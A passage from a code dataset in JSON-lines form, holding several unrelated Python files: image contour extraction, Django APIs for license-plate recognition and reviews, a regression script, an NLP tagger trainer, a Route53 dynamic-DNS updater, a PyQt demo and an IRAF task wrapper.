erase_exception(img, contours, hierarchy)\n\n print(\"hierarchy:\",hierarchy)\n \n index = None\n for i in range(len(contours)):\n if(hierarchy[0][i][2] != -1):\n index = i\n break\n\n while(hierarchy[0][index][1] != -1):\n index = hierarchy[0][index][1]\n\n print(\"index:\", index)\n\n extract_index = []\n while(index != -1):\n while(hierarchy[0][index][2] != -1):\n index = hierarchy[0][index][2]\n extract_index.append(index)\n index = hierarchy[0][index][3]\n index = hierarchy[0][index][0]\n\n print(\"extract_index\", extract_index)\n\n frame_locate = []\n character_img_array = []\n for i in extract_index:\n empty_img = np.zeros((img.shape[0], img.shape[1]))\n cv2.fillConvexPoly(empty_img, contours[i], 255)\n character_mask = empty_img\n\n area_top, area_bottom, area_left, area_right = find_area(character_mask)\n\n frame_locate.append([area_top, area_bottom, area_left, area_right])\n\n character_img_array.append(img[area_top:area_bottom + 1, area_left:area_right + 1])\n \n # file_name, ext = os.path.splitext( os.path.basename(file_path) )\n # new_path = './image_recognize/image_extract/' + file_name + '_extract' + ext\n\n # new_file = pathlib.Path(new_path)\n # new_file.touch()\n\n # cv2.imwrite(new_path, character_img)\n\n point_locate = extract_point(img)\n\n sorted(point_locate)\n\n frame_number = []\n for i in range(len(frame_locate)):\n min_dist = math.sqrt(img.shape[0] * img.shape[0] + img.shape[1] * img.shape[1])\n min_index = None\n for j in range(len(point_locate)):\n vertical = abs(point_locate[j][0] - frame_locate[i][0])\n beside = abs(point_locate[j][1] - frame_locate[i][2])\n dist = math.sqrt(vertical * vertical + beside * beside)\n if(min_dist > dist):\n min_dist = dist\n min_index = j\n frame_number.append(min_index)\n\n return character_img_array, frame_number","repo_name":"nmkgch/image_recognize","sub_path":"module_ImageRecognize/extract_frame.py","file_name":"extract_frame.py","file_ext":"py","file_size_in_byte":6146,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71663916998","text":"from typing import final\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render\nfrom rest_framework import serializers, status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .serializers import ImageSerializer\nfrom .models import Image\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nfrom .utils import cat_bien_so, lay_ki_tu, predict_bienso, img_to_base64\nimport datetime\nimport uuid\nfrom base64 import b64decode\nfrom django.core.files.base import ContentFile\n\nnet = cv2.dnn.readNet('./models/yolov4-tiny.cfg',\n './models/yolov4-tiny_3000.weights')\nmodel_chuso = tf.keras.models.load_model(\"./models/cnn_chuso_final.h5\")\nmodel_chucai = tf.keras.models.load_model(\"./models/cnn_chucai_final.h5\")\n\n\n@api_view([\"GET\"])\ndef apiOverview(request):\n\n api_url = {\n 'predict': '/predict/',\n 'list': '/list_predict/'\n }\n\n return Response(api_url)\n\n\n@api_view([\"GET\"])\ndef listImage(request):\n userID = request.user.id\n lists = Image.objects.filter(user__id=userID)\n list_obj = ImageSerializer(lists, many=True, context={'request': request})\n return Response(list_obj.data)\n\n\n@api_view([\"GET\"])\ndef detailImage(request, pk):\n image_obj = Image.objects.get(id=pk)\n serializer = ImageSerializer(image_obj, context={'request': request})\n return Response(serializer.data)\n\n\n@api_view([\"GET\"])\ndef listImageToDay(request):\n userID = request.user.id\n today = datetime.date.today()\n lists = Image.objects.filter(user__id=userID, time_create__year=today.year,\n time_create__month=today.month, time_create__day=today.day)\n list_obj = ImageSerializer(lists, many=True, context={'request': request})\n return Response(list_obj.data)\n\n\n@api_view([\"POST\"])\ndef checkIn(request):\n if request.method == \"POST\":\n img_base64 = request.data['base64']\n typeSelect = request.data['type']\n lisencePlate_confidence = cat_bien_so(img_base64, net)\n if lisencePlate_confidence is not None:\n img = lisencePlate_confidence[0]\n # print(img.shape)\n # cv2.imshow(\"a\", img)\n # cv2.imwrite('./media/image/'+str(uuid.uuid4())+\".jpg\",img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n confidence = lisencePlate_confidence[1]\n if typeSelect == 'daytime':\n top_bot = lay_ki_tu(img, 'daytime')\n if typeSelect == 'evening':\n top_bot = lay_ki_tu(img, 'evening')\n if top_bot is not None:\n top = top_bot[0]\n bot = top_bot[1]\n rs = predict_bienso(top, bot, model_chuso, model_chucai)\n\n # luu anh base64 vao model\n image_data = b64decode(img_to_base64(img))\n image_name = str(uuid.uuid4())+\".jpg\"\n # tao model\n image = ContentFile(image_data, image_name)\n\n user = User.objects.get(id=request.user.id)\n Image(image=image, confidences=confidence, result=rs,\n time_create=datetime.datetime.now(), user=user).save()\n\n obj_last = Image.objects.last()\n serializer_obj = ImageSerializer(\n obj_last, many=False, context={'request': request})\n\n return Response(serializer_obj.data)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"POST\"])\ndef checkOut(request):\n if request.method == \"POST\":\n img_base64 = request.data['base64']\n typeSelect = request.data['type']\n lisencePlate_confidence = cat_bien_so(img_base64, net)\n if lisencePlate_confidence is not None:\n img = lisencePlate_confidence[0]\n\n confidence = lisencePlate_confidence[1]\n\n if typeSelect == 'daytime':\n top_bot = lay_ki_tu(img, 'daytime')\n if typeSelect == 'evening':\n top_bot = lay_ki_tu(img, 'evening')\n if top_bot is not None:\n top = top_bot[0]\n bot = top_bot[1]\n rs = predict_bienso(top, bot, model_chuso, model_chucai)\n final = {\n \"image\": img_to_base64(img),\n \"result\": rs,\n \"confidences\": confidence\n }\n userID = request.user.id\n image = Image.objects.filter(result=rs, user=userID)\n if len(image) > 0:\n for i in image:\n data_dict = {\n \"id\": i.id,\n \"image\": i.image,\n \"confidences\": i.confidences,\n \"result\": i.result,\n \"status\": False,\n \"time_create\": i.time_create,\n \"user\": i.user.id\n }\n serializer = ImageSerializer(\n instance=i, data=data_dict)\n\n if serializer.is_valid():\n serializer.save()\n else:\n return Response(final, status=status.HTTP_304_NOT_MODIFIED)\n else:\n return Response(final, status=status.HTTP_404_NOT_FOUND)\n\n return Response(final)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['DELETE'])\ndef deleteImage(request, pk):\n image = Image.objects.get(id=pk)\n image.delete()\n return Response(\"Successful delete !\")\n\n\n@api_view(['POST'])\ndef repairImage(request, pk):\n image = Image.objects.get(id=pk)\n data_dict = {\n \"image\": image.image,\n \"confidences\": image.confidences,\n \"result\": request.data[\"result\"],\n \"status\": request.data[\"status\"],\n \"time_create\": image.time_create,\n \"user\": image.user.id\n }\n serializer = ImageSerializer(instance=image, data=data_dict)\n if serializer.is_valid():\n serializer.save()\n else:\n print(\"Error update !!!\")\n return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef updateCheckIn(request, pk):\n image = Image.objects.get(id=pk)\n data_dict = {\n \"image\": image.image,\n \"confidences\": image.confidences,\n \"result\": request.data[\"result\"],\n \"status\": image.status,\n \"time_create\": image.time_create,\n \"user\": image.user.id\n }\n serializer = ImageSerializer(instance=image, data=data_dict)\n if serializer.is_valid():\n serializer.save()\n else:\n return Response(status=status.HTTP_404_NOT_FOUND)\n return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef updateCheckOut(request):\n number = request.data['result']\n userID = request.user.id\n image = Image.objects.filter(result=number, user=userID)\n if len(image) > 0:\n for i in image:\n data_dict = {\n \"id\": i.id,\n \"image\": i.image,\n \"confidences\": i.confidences,\n \"result\": i.result,\n \"status\": False,\n \"time_create\": i.time_create,\n \"user\": i.user.id\n }\n serializer = ImageSerializer(\n instance=i, data=data_dict)\n if serializer.is_valid():\n serializer.save()\n else:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n return Response(status=status.HTTP_200_OK)\n\n\n@api_view([\"GET\"])\ndef statistics(request):\n userID = request.user.id\n today = datetime.date.today()\n today_obj = Image.objects.filter(user=userID, time_create__year=today.year,\n time_create__month=today.month, time_create__day=today.day)\n thisMonth = Image.objects.filter(user=userID, time_create__year=today.year,\n time_create__month=today.month)\n thisYear = Image.objects.filter(user=userID, time_create__year=today.year)\n\n statusTrue = Image.objects.filter(user=userID, status=True)\n\n data = {\n \"quantity_true\": len(statusTrue),\n \"quantity_today\": len(today_obj),\n \"quantity_month\": len(thisMonth),\n \"quantity_year\": len(thisYear),\n\n }\n years = {}\n for i in [today.year, today.year-1, today.year-2]:\n months = {}\n for j in range(1, 13):\n data_month = Image.objects.filter(user=userID, time_create__year=i,\n time_create__month=j)\n months[j] = len(data_month)\n\n years[i] = months\n\n statistics_dict = {\n \"data1\": data,\n \"data2\": years\n }\n return Response(statistics_dict)\n","repo_name":"vanhau201/web_license_plate_recognition","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1308611304","text":"# Multiple linear regression\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('insurance.csv')\nX = dataset.iloc[:, :5].values\ny = dataset.iloc[:, 6].values\n\n# Encoding categorical data\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X = LabelEncoder() #label encoder will simply apply integer values to different categories all in single column\nX[:, 1] = labelencoder_X.fit_transform(X[:, 1])\nX[:, 4] = labelencoder_X.fit_transform(X[:, 4])\nonehotencoder = OneHotEncoder(categorical_features = [1, 4]) #OneHotEncoder will convert the categorical column into dummy encoding(see notes)\nX = onehotencoder.fit_transform(X).toarray()\n\nX = X[:, [1, 3, 4, 5, 6]]\n\n#Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX = sc_X.fit_transform(X) \nsc_y = StandardScaler()\ny = sc_y.fit_transform(y.reshape(-1, 1))\n\n#Fitting polynomial regression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import Lasso\npoly_regressor = PolynomialFeatures(degree = 4)\nX_poly = poly_regressor.fit_transform(X)\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X_poly, y, test_size = 0.2, random_state = 0)\n\n#Fitting Lasso regression \nlasso_regressor = Lasso(alpha=0.01, fit_intercept=False)\nlasso_regressor.fit(X_train, y_train)\n\n# Predicting the Train set results\ny_predTest = lasso_regressor.predict(X_test)\ny_predTest = sc_y.inverse_transform(y_predTest)\n\n# Accuracy of Train set prediction\ny_predTrain = lasso_regressor.predict(X_train)\ny_predTrain = sc_y.inverse_transform(y_predTrain)\ny_train = sc_y.inverse_transform(y_train)\nfrom sklearn.metrics import r2_score\nr2_Score_Train = r2_score(y_train, y_predTrain) * 100\n\n# Accuracy of Test set prediction\ny_predTest = lasso_regressor.predict(X_test)\ny_predTest = sc_y.inverse_transform(y_predTest)\ny_test = sc_y.inverse_transform(y_test)\nfrom sklearn.metrics import r2_score\nr2_Score_Test = r2_score(y_test, y_predTest) * 100","repo_name":"iamrj846/Predicting-insurance-prices-with-Linear-Regression","sub_path":"PolynomialRegressionRegularized.py","file_name":"PolynomialRegressionRegularized.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14538859741","text":"import os, pickle, subprocess\nimport numpy as np\nfrom keras.callbacks import ModelCheckpoint\nfrom evaluation import labels2Parsemetsv\n\nfrom sklearn.model_selection import KFold\nfrom models.tag_models import Tagger \n\nclass Train_Test():\n\t\"\"\"This class contains methods to train, test or cross-validate models. \n\n\tAttributes:\n\t\t* pos: Boolean value specifying whether POS information is used \n\t\t* tagger_name: name of the model that is to be trained \n\t\t* tagger: a compiled instance of the model (with the name tagger_name) \n\t\t* data: an instance of the classs Data built at the preprocessing step \n\t\"\"\"\n\tdef __init__(self, pos, tagger_name, tagger, data):\n\t\tself.pos = pos \n\t\tself.tagger_name = tagger_name\n\t\tself.tagger = tagger \n\t\tself.data = data\n\t\tself.w2v = self.data.word2vec_dir\n\n\t\t# preparing the name for the folder results corresponding to the name of the model, settings and language.\n\t\tself.res_dir = \"./results/\" + self.data.testORdev + \"_{}\".format(self.data.lang)+self.tagger_name+\"_results\"\n\t\tif not os.path.exists(self.res_dir):\n\t\t\tos.makedirs(self.res_dir)\n\n\tdef train(self, epoch, batch_size):\n\t\t\n\t\tfilepath = self.res_dir + \"/weights-improvement-{epoch:02d}-{acc:.2f}.hdf5\"\n\t\tcheckpoint = ModelCheckpoint(filepath, monitor='acc', verbose=1, save_best_only=True, mode='max', period=10, save_weights_only=True)\n\t\tcallbacks_list = [checkpoint]\n\n\t\t# preparing the inputs\n\t\tinputs = []\n\t\tif \"elmo\" in self.tagger_name.lower():\n\t\t\tinputs = [self.data.train_weights]\n\t\tif self.w2v:\n\t\t\tinputs += [self.data.X_train_enc]\n\t\tif self.pos:\n\t\t\tinputs += [self.data.pos_train_enc]\n\t\tif self.data.depAdjacency_gcn:\n\t\t\tinputs += self.data.train_adjacency_matrices\n\t\tprint(\"len(inputs)\", len(inputs))\n\t\tif len(inputs) == 1:\n\t\t\tself.tagger.fit(inputs[0], \n\t\t\t \t\t\t\tself.data.y_train_enc, \n\t\t\t \t\t\t\tvalidation_split=0, \n\t\t\t \t\t\t\tbatch_size=batch_size, \n\t\t\t \t\t\t\tepochs=epoch, \n\t\t\t \t\t\t\tcallbacks=callbacks_list)\n\n\t\telse:\n\t\t\tself.tagger.fit(inputs, \n\t\t\t\t\t\t self.data.y_train_enc, \n\t\t\t\t\t\t epochs=epoch,\n\t\t\t\t\t\t validation_split=0, \n\t\t\t\t\t\t batch_size=batch_size, \n\t\t\t\t\t\t callbacks=callbacks_list)\n\t\t\n\tdef test(self, data_path):\n\t\tinputs = []\n\t\tif \"elmo\" in self.tagger_name.lower():\n\t\t\tinputs = [self.data.test_weights]\n\t\tif self.w2v:\n\t\t\tinputs += [self.data.X_test_enc]\n\t\tif self.pos:\n\t\t\tinputs += [self.data.pos_test_enc]\n\t\tif self.data.depAdjacency_gcn:\n\t\t\tinputs += self.data.test_adjacency_matrices\n\t\t\n\t\tif len(inputs)==1:\n\t\t\tpreds = self.tagger.predict(inputs[0], batch_size=16, verbose=1)\n\t\telse:\n\t\t\tpreds = self.tagger.predict(inputs, batch_size=16, verbose=1)\n\n\t\tfinal_preds = []\n\t\tfor i in range(len(self.data.X_test_enc)):\n\t\t\tpred = np.argmax(preds[i],-1)\n\t\t\tpred = [self.data.idx2l[p] for p in pred]\n\t\t\tfinal_preds.append(pred)\n\t\t# preparing the name for the prediction file corresponding to the name of the model, settings and language.\n\t\tprediction_file_name = self.res_dir + '/predicted_{}'.format(self.data.lang)+'_'+self.tagger_name\n\t\t# save the predicted labels to a pickle list\n\t\twith open(prediction_file_name+'.pkl', 'wb') as f:\n\t\t pickle.dump(final_preds, f)\n\t\twith open(prediction_file_name+'.pkl', 'rb') as f:\n\t\t labels1 = pickle.load(f)\n\t\tif self.data.testORdev == \"TEST\":\t# we have DEV as part of training and are evaluating the test\n\t\t\tlabels2Parsemetsv(labels1, data_path+'{}/test.cupt'.format(self.data.lang), prediction_file_name+'_system.cupt')\n\n\t\t\twith open(self.res_dir + '/eval'.format(self.data.lang)+self.tagger_name+'.txt', 'w') as f:\n\t\t\t\tf.write(subprocess.check_output([data_path+\"bin/evaluate_v1.py\", \"--train\", data_path+\"{}/train.cupt\".format(self.data.lang), \"--gold\", data_path+\"{}/test.cupt\".format(self.data.lang), \"--pred\", prediction_file_name+\"_system.cupt\" ]).decode())\n\t\telse:\n\t\t\tlabels2Parsemetsv(labels1, data_path+'/{}/dev.cupt'.format(self.data.lang), prediction_file_name+'_system.cupt')\n\n\t\t\twith open(self.res_dir + '/eval'.format(self.data.lang)+self.tagger_name+'.txt', 'w') as f:\n\t\t\t\tf.write(subprocess.check_output([data_path+\"bin/evaluate_v1.py\", \"--train\", data_path+\"{}/train.cupt\".format(self.data.lang), \"--gold\", data_path+\"{}/dev.cupt\".format(self.data.lang), \"--pred\", prediction_file_name+\"_system.cupt\" ]).decode())\n\n\tdef cross_validation(self, epoch, batch_size, data_path):\n\t\tif self.data.testORdev == \"CROSS_VAL\": \n\t\t\tself.res_dir=\"./results/CROSSVAL_{}\".format(self.data.lang)+\"_\"+self.tagger_name+\"_results\"\n\t\telse:\n\t\t\tpass\n\t\tif not os.path.exists(self.res_dir):\n\t\t\tos.makedirs(self.res_dir)\n\n\t\tkf = KFold(n_splits=5)\n\t\ti=0\n\t\tfinal_preds = [0]*len(self.data.X_train_enc)\n\t\tfor train_index, test_index in kf.split(self.data.X_train_enc):\n\t\t\tprint(\"Running Fold\", i+1, \"/\", \"5\")\n\t\t\tX_train, X_test = self.data.X_train_enc[train_index], self.data.X_train_enc[test_index]\n\t\t\tpos_train, pos_test = self.data.pos_train_enc[train_index], self.data.pos_train_enc[test_index]\n\t\t\ty_train, y_test = self.data.y_train_enc[train_index], self.data.y_train_enc[test_index]\n\t\t\tinputs = []\n\t\t\tif \"elmo\" in self.tagger_name.lower():\n\t\t\t\tX_train, X_test = self.data.train_weights[train_index], self.data.train_weights[test_index]\n\t\t\t\tinputs += [X_train]\n\t\t\tif self.pos:\n\t\t\t\tinputs += [pos_train]\n\t\t\tX_train_adj, X_test_adj = [], []\n\t\t\tif self.data.depAdjacency_gcn:\n\t\t\t\t\tfor j in range(len(self.data.train_adjacency_matrices)):\n\t\t\t\t\t\tX_train_adj.append(self.data.train_adjacency_matrices[j][train_index])\n\t\t\t\t\t\tX_test_adj += [self.data.train_adjacency_matrices[j][test_index]]\n\t\t\t\t\tinputs += X_train_adj\n\t\t\tprint(X_train.shape)\n\n\t\t\tmodel = None # Clearing the NN.\n\t\t\tmodel = Tagger(self.data, self.data.max_length, self.data.input_dim, self.data.n_poses, self.data.n_classes, \"\")\n\t\t\tmodel = getattr(model, self.tagger_name)() \n\t\t\t#if \"elmo\" in self.tagger_name.lower():\n\t\t\t#\tmodel.fit(train_text, y_train, validation_split=0, batch_size=10, epochs=1)\n\n\t\t\tif len(inputs)==1:\n\t\t\t\tmodel.fit(X_train, \n y_train, \n validation_split=0, \n batch_size=batch_size, \n epochs=epoch)\n\t\t\telse:\n\t\t\t\tmodel.fit(inputs, \n y_train, \n validation_split=0, \n batch_size=batch_size, \n epochs=epoch)\n\t\t\ti+=1\n\n\t\t\tfor t in test_index:\n\t\t\t\tinputs = [np.array([self.data.train_weights[t]])]\n\t\t\t\tif self.pos:\n\t\t\t\t\tinputs += [np.array([self.data.pos_train_enc[t]])]\n\t\t\t\tif self.data.depAdjacency_gcn:\n\t\t\t\t\tinputs += [np.array([self.data.train_adjacency_matrices[j][t]]) for j in range(len(self.data.train_adjacency_matrices))]\n\n\t\t\t\tif len(inputs)==1:\n\t\t\t\t\tpred = model.predict(np.array([self.data.train_weights[t]])) #.reshape(1, -1))\n\t\t\t\telse:\n\t\t\t\t\tpred = model.predict(inputs)\n\t\t\t\tpred = np.argmax(pred,-1)[0]\n\t\t\t\tpred = [self.data.idx2l[p] for p in pred]\n\t\t\t\tfinal_preds[t] = pred\n\n\t\tprediction_file_name = self.res_dir + '/predicted_{}'.format(self.data.lang)+'_'+self.tagger_name\n\t\twith open(prediction_file_name+'.pkl', 'wb') as f:\n\t\t pickle.dump(final_preds, f)\n\t\twith open(prediction_file_name+'.pkl', 'rb') as f:\n\t\t labels1 = pickle.load(f)\n\t\tprint(\"len(labels1)\",len(labels1))\n\t\tlabels2Parsemetsv(labels1, data_path+'{}/train.cupt'.format(self.data.lang), prediction_file_name+'_system.cupt')\n\n\t\twith open(self.res_dir + '/eval'.format(self.data.lang)+self.tagger_name+'.txt', 'w') as f:\n\t\t\tf.write(subprocess.check_output([data_path+\"bin/evaluate_v1.py\", \"--gold\", data_path+\"{}/train.cupt\".format(self.data.lang), \"--pred\", prediction_file_name+\"_system.cupt\" ]).decode())\n\t\n","repo_name":"omidrohanian/gappy-mwes","sub_path":"train_test.py","file_name":"train_test.py","file_ext":"py","file_size_in_byte":7584,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"21310337724","text":"#!/usr/local/bin/python3\n\nimport logging\nimport time\nimport urllib3\nimport boto.route53\n\nstart_time = time.time()\n\n# configuration\ncfg_profile = 'Credential'\ncfg_region = 'us-east-1'\ncfg_zone = 'YOUR.DOMAIN'\ncfg_record = 'A.YOUR.DOMAIN'\ncfg_timeout = 300\naws_key = 'YOUR AWS KEY'\naws_secret = 'YOUR_AWS_SECRET'\n\n# set up logging\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\nhandler = logging.handlers.SysLogHandler(address = '/dev/log')\nformatter = logging.Formatter('%(module)s: %(message)s')\nhandler.setFormatter(formatter)\nlog.addHandler(handler)\n\n# get ip address\nhttp = urllib3.PoolManager()\nrequest = http.request('GET', 'http://curlmyip.com')\nip_addr = request.data.decode(\"utf-8\")[:-1]\n\nlog.info('Current IP address: ' + ip_addr)\n\n# check current ip address\nconn = boto.route53.connect_to_region(\n cfg_region,\n aws_access_key_id = aws_key,\n aws_secret_access_key = aws_secret\n)\nzone = conn.get_zone(cfg_zone)\na_record = zone.get_a(cfg_record)\na_record_value = a_record.resource_records[0]\n\nlog.info('Route53 DNS record address: %s' % a_record_value)\n\n# check whether it's the same\nif ip_addr != a_record_value:\n # needs update\n log.warning('IP Changed, update needed.')\n status = zone.update_a(cfg_record, ip_addr)\n log.info('Record updated, waiting to sync, timeout in %s seconds' % str(cfg_timeout))\n # check for status update\n count = 0\n while (count < cfg_timeout):\n count = count + 1\n time.sleep(1)\n status.update()\n if status.status == 'INSYNC':\n log.info('Record synced, exit')\n break\n if count == cfg_timeout:\n log.error('Sync timeout, exit')\nelse:\n # should be fine\n log.info('No need to update, exit.')\n\nlog.info('Total time spent: %s seconds' % str(round(time.time() - start_time, 4)))","repo_name":"xinsnake/route53ddns-py","sub_path":"route53ddns.py","file_name":"route53ddns.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"28090953307","text":"# date : 2023-02-06\n# author : Lani Jeong\n# desc : 윈도우 창닫기 앱 + 툴팁\nimport sys\nfrom PyQt5.QtWidgets import QApplication,QPushButton,QWidget\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import QCoreApplication\n\nclass MyApp(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self): # signal slot\n btn = QPushButton('Be Happy', self)\n btn.move(310, 170)\n btn.resize(btn.sizeHint())\n # 버튼 툴팁\n btn.setToolTip('Just Do It! Bye:):')\n btn.clicked.connect(QCoreApplication.instance().quit)\n\n self.setWindowIcon(QIcon('./Day09/smile-hand-drawn-emoticon.png'))\n self.setWindowTitle('SMILE')\n self.setGeometry(800, 400, 400, 200) # x, y, w, h\n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = MyApp()\n sys.exit(app.exec_())\n","repo_name":"LaniJeong/basic-python-2023","sub_path":"Day09/code47_pyqt_close_app.py","file_name":"code47_pyqt_close_app.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20950509869","text":"from django.contrib.auth import get_user_model\nfrom django.db.models import Avg\nfrom django.shortcuts import get_object_or_404\nfrom django_filters import CharFilter, FilterSet, NumberFilter\nfrom django_filters.filters import NumberFilter\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import filters, status, viewsets\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.response import Response\n\nfrom reviews.models import Category, Genre, Review, Title\n\nfrom .permissions import (IsAdminOrReadOnly, IsAdminUser,\n IsAuthorOrReadOnlyPermission, ReadOnly)\nfrom .serializers import (CategorySerializer, CommentSerializer,\n GenreSerializer, ReviewSerializer,\n TitlePostSerializer, TitleSerializer)\n\nUser = get_user_model()\n\n\nclass TitleFilterBackend(FilterSet):\n genre = CharFilter(field_name='genre__slug')\n category = CharFilter(field_name='category__slug')\n year = NumberFilter(field_name='year')\n name = CharFilter(field_name='name', lookup_expr='icontains')\n\n\nclass TitleViewSet(viewsets.ModelViewSet):\n queryset = Title.objects.all().annotate(Avg('reviews__score'))\n permission_classes = (IsAdminOrReadOnly,)\n pagination_class = LimitOffsetPagination\n filter_backends = (DjangoFilterBackend,)\n filter_class = TitleFilterBackend\n filterset_fields = ('genre', 'category', 'year', 'name',)\n\n def get_serializer_class(self):\n if self.action in ('list', 'retrieve'):\n return TitleSerializer\n\n return TitlePostSerializer\n\n def perform_create(self, serializer):\n serializer.save()\n\n\nclass GenreViewSet(viewsets.ModelViewSet):\n queryset = Genre.objects.all()\n serializer_class = GenreSerializer\n permission_classes = (IsAdminUser,)\n pagination_class = LimitOffsetPagination\n filter_backends = (filters.SearchFilter,)\n search_fields = ('name',)\n\n def retrieve(self, request, **kwargs):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def partial_update(self, request, **kwargs):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def destroy(self, request, **kwargs):\n slug = self.kwargs.get('pk')\n Genre.objects.filter(slug=slug).delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def get_permissions(self):\n if self.action in ['list', 'retrieve']:\n return (ReadOnly(),)\n return super().get_permissions()\n\n\nclass CategoryViewSet(viewsets.ModelViewSet):\n queryset = Category.objects.all()\n serializer_class = CategorySerializer\n permission_classes = (IsAdminOrReadOnly,)\n pagination_class = LimitOffsetPagination\n filter_backends = (filters.SearchFilter,)\n search_fields = ('name',)\n\n def retrieve(self, request, **kwargs):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def partial_update(self, request, **kwargs):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def destroy(self, request, **kwargs):\n slug = self.kwargs.get('pk')\n Category.objects.filter(slug=slug).delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass ReviewViewSet(viewsets.ModelViewSet):\n serializer_class = ReviewSerializer\n permission_classes = (IsAuthorOrReadOnlyPermission,)\n\n def get_queryset(self):\n title_id = self.kwargs.get('title_id')\n title = get_object_or_404(Title, id=title_id)\n new_queryset = title.reviews.all()\n return new_queryset\n\n def perform_create(self, serializer):\n title_id = self.kwargs.get('title_id')\n title = get_object_or_404(Title, id=title_id)\n serializer.save(author=self.request.user, title=title)\n\n# Неплохо сократили тут\n\n\nclass CommentViewSet(viewsets.ModelViewSet):\n serializer_class = CommentSerializer\n permission_classes = (IsAuthorOrReadOnlyPermission,)\n\n def review(self):\n review_id = self.kwargs.get('review_id')\n title_id = self.kwargs.get('title_id')\n return get_object_or_404(Review, id=review_id, title_id=title_id)\n\n def get_queryset(self):\n review = self.review()\n comments = review.comments.all()\n return comments\n\n def perform_create(self, serializer):\n review = self.review()\n serializer.save(author=self.request.user, review=review)\n\n# Неплохо сократили тут\n","repo_name":"EvaBee/api_yamdb","sub_path":"api_yamdb/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31613018725","text":"import sys\nfrom copy import copy\n\nfrom pyraf import iraf\nfrom iraf import gemini\nfrom iraf import gemtools\n\nfrom astrodata import Errors\nfrom astrodata.adutils import logutils\nfrom astrodata.adutils.gemutil import pyrafLoader \nfrom astrodata.eti.pyrafeti import PyrafETI\nfrom gsflatfile import InAtList, OutFile, LogFile\nfrom gsflatparam import FlVardq, hardcoded_params, GsflatParam\n\nlog = logutils.get_logger(__name__)\n\nclass GsflatETI(PyrafETI):\n \"\"\"This class coordinates the external task interface as it relates\n directly to the IRAF task: gsflat\n \"\"\"\n clparam_dict = None\n def __init__(self, rc):\n \"\"\"\n Adds the file and parameter objects to a list\n\n :param rc: Used to store reduction information\n :type rc: ReductionContext\n \"\"\"\n log.debug(\"GsflatETI __init__\")\n PyrafETI.__init__(self, rc)\n self.clparam_dict = {}\n self.add_file(InAtList(rc))\n self.add_file(OutFile(rc))\n self.add_file(LogFile(rc))\n self.add_param(FlVardq(rc))\n for param in hardcoded_params:\n self.add_param(GsflatParam(rc, param, hardcoded_params[param]))\n\n def execute(self):\n \"\"\"Execute pyraf task: gsflat\"\"\"\n log.debug(\"GsflatETI.execute()\")\n\n # Populate object lists\n xcldict = copy(self.clparam_dict)\n for fil in self.file_objs:\n xcldict.update(fil.get_parameter())\n for par in self.param_objs:\n xcldict.update(par.get_parameter())\n iraf.unlearn(iraf.gsflat)\n\n # Use setParam to list the parameters in the logfile \n for par in xcldict:\n #Stderr and Stdout are not recognized by setParam\n if par != \"Stderr\" and par !=\"Stdout\":\n gemini.gsflat.setParam(par,xcldict[par])\n log.fullinfo(\"\\nGSFLAT PARAMETERS:\\n\")\n iraf.lpar(iraf.gsflat, Stderr=xcldict[\"Stderr\"], \\\n Stdout=xcldict[\"Stdout\"])\n\n # Execute the task using the same dict as setParam\n # (but this time with Stderr and Stdout) \n gemini.gsflat(**xcldict)\n if gemini.gsflat.status:\n raise Errors.OutputError(\"The IRAF task gsflat failed\")\n else:\n log.fullinfo(\"The IRAF task gsflat completed successfully\")\n\n def run(self):\n \"\"\"Convenience function that runs all the needed operations.\"\"\"\n log.debug(\"GsflatETI.run()\")\n self.prepare()\n self.execute()\n ad = self.recover()\n self.clean()\n return ad\n\n def recover(self):\n \"\"\"Recovers reduction information into memory\"\"\"\n log.debug(\"GsflatETI.recover()\")\n ad = None\n for par in self.param_objs:\n par.recover()\n for fil in self.file_objs:\n if isinstance(fil, OutFile):\n ad = fil.recover()\n else:\n fil.recover()\n return ad\n \n 